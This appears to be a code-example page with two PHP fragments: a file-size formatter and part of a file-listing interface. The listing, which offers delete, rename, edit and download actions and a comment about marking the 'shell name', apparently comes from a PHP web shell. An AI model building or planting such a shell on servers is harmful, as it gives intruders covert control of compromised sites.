示例#1
0
function filesize_char($file)
{
    $size = filesize64($file);
    if ($size > pow(2, 40)) {
        return round(filesize64($file) / pow(2, 40), 2) . 'TB';
    } elseif ($size > pow(2, 30)) {
        return round(filesize64($file) / pow(2, 30), 2) . 'GB';
    } elseif ($size > pow(2, 20)) {
        return round(filesize64($file) / pow(2, 20), 2) . 'MB';
    } elseif ($size > pow(2, 10)) {
        return round(filesize64($file) / pow(2, 10), 2) . 'kB';
    } else {
        return round(filesize64($file), 2) . 'B';
    }
}
示例#2
0
					</td>
					</tr>';
        }
        foreach ($filedata as $file) {
            $sBuff .= '<tr data-path="' . $file . '" class="' . ($bg++ % 2 == 0 ? 'alt1' : 'alt2') . '">
					<td width="2%"><input type="checkbox" value="' . $file . '" name="dl[]"></td><td>';
            //mark shell name in yellow
            if ($currentdir . $file === __FILE__) {
                $sBuff .= '<div class="image php"></div><font class="my">' . $file . '</font>';
            } else {
                $sBuff .= showIcon($file) . ' <a href="' . str_replace(SROOT, '', $file) . '" target="_blank">' . $file . '</a>';
            }
            //$_SERVER['DOCUMENT_ROOT']
            //uso esa variable para saber si corresponde o no el link al archivo
            $sBuff .= '</td><td><a href="#" onclick="showUI(\'mdate\', this);return false;">' . date($config['datetime'], filemtime($currentdir . $file)) . '</a></td>
							<td>' . sizecount(filesize64($currentdir . $file)) . '</td>
							' . (!$isWIN ? '<td><a href="#" onclick="showUI(\'mpers\', this);return false;">' . vPermsColor($currentdir . $file) . '</a>&nbsp;' . getUser($currentdir . $file) . '</td>' : '') . '
							<td>
							<div onclick="showUI(\'del\', this);return false;" class="image del"></div>
							<div onclick="showUI(\'ren\', this);return false;" class="image rename"></div>
							<div onclick="ajaxLoad(\'me=file&md=info&t=\' + euc(dpath(this, true)));return false;" class="image info"></div>
							<div onclick="ajaxLoad(\'me=file&md=edit&t=\' + euc(dpath(this, true)));return false;" class="image edit"></div>
							<div onclick="dl(this);return false;" class="image download"></div>
							</td></tr>';
        }
        $sBuff .= '</tbody><tfoot><tr class="' . ($bg++ % 2 == 0 ? 'alt1' : 'alt2') . '">
					<td width="2%">
					<input name="chkall" value="" type="checkbox" onclick="CheckAll(this.form);" />
					</td>
					<td>
					' . tText('selected', 'Selected') . ': ' . mLink(tText('download', 'Download'), 'showUISec("comp", this)') . ' | ' . mLink(tText('del', 'Del'), 'showUISec("rdel", this)') . ' | ' . mLink(tText('copy', 'Copy'), 'showUISec("copy", this)') . '